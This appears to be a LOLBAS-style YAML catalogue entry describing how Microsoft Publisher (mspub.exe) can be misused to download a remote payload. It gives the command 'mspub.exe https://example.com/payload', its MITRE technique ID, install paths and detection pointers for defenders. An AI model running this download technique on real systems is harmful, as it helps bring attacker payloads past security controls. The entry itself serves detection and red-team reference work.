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Name: Mspub.exe
Description: Microsoft Publisher
Author: Nir Chako
Created: 2022-08-02
Commands:
  - Command: mspub.exe https://example.com/payload
    Description: Downloads payload from remote server
    Usecase: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
    Category: Download
    Privileges: User
    MitreID: T1105
    OperatingSystem: Windows 10, Windows 11
Full_Path:
  - Path: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSPUB.exe
  - Path: C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSPUB.exe
  - Path: C:\Program Files (x86)\Microsoft Office\Office16\MSPUB.exe
  - Path: C:\Program Files\Microsoft Office\Office16\MSPUB.exe
  - Path: C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSPUB.exe
  - Path: C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSPUB.exe
  - Path: C:\Program Files (x86)\Microsoft Office\Office15\MSPUB.exe
  - Path: C:\Program Files\Microsoft Office\Office15\MSPUB.exe
  - Path: C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSPUB.exe
  - Path: C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSPUB.exe
  - Path: C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.exe
  - Path: C:\Program Files\Microsoft Office\Office14\MSPUB.exe
Detection:
  - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_mspub_download.yml
  - IOC: Suspicious Office application internet/network traffic
Acknowledgement:
  - Person: 'Nir Chako (Pentera)'
    Handle: '@C_h4ck_0'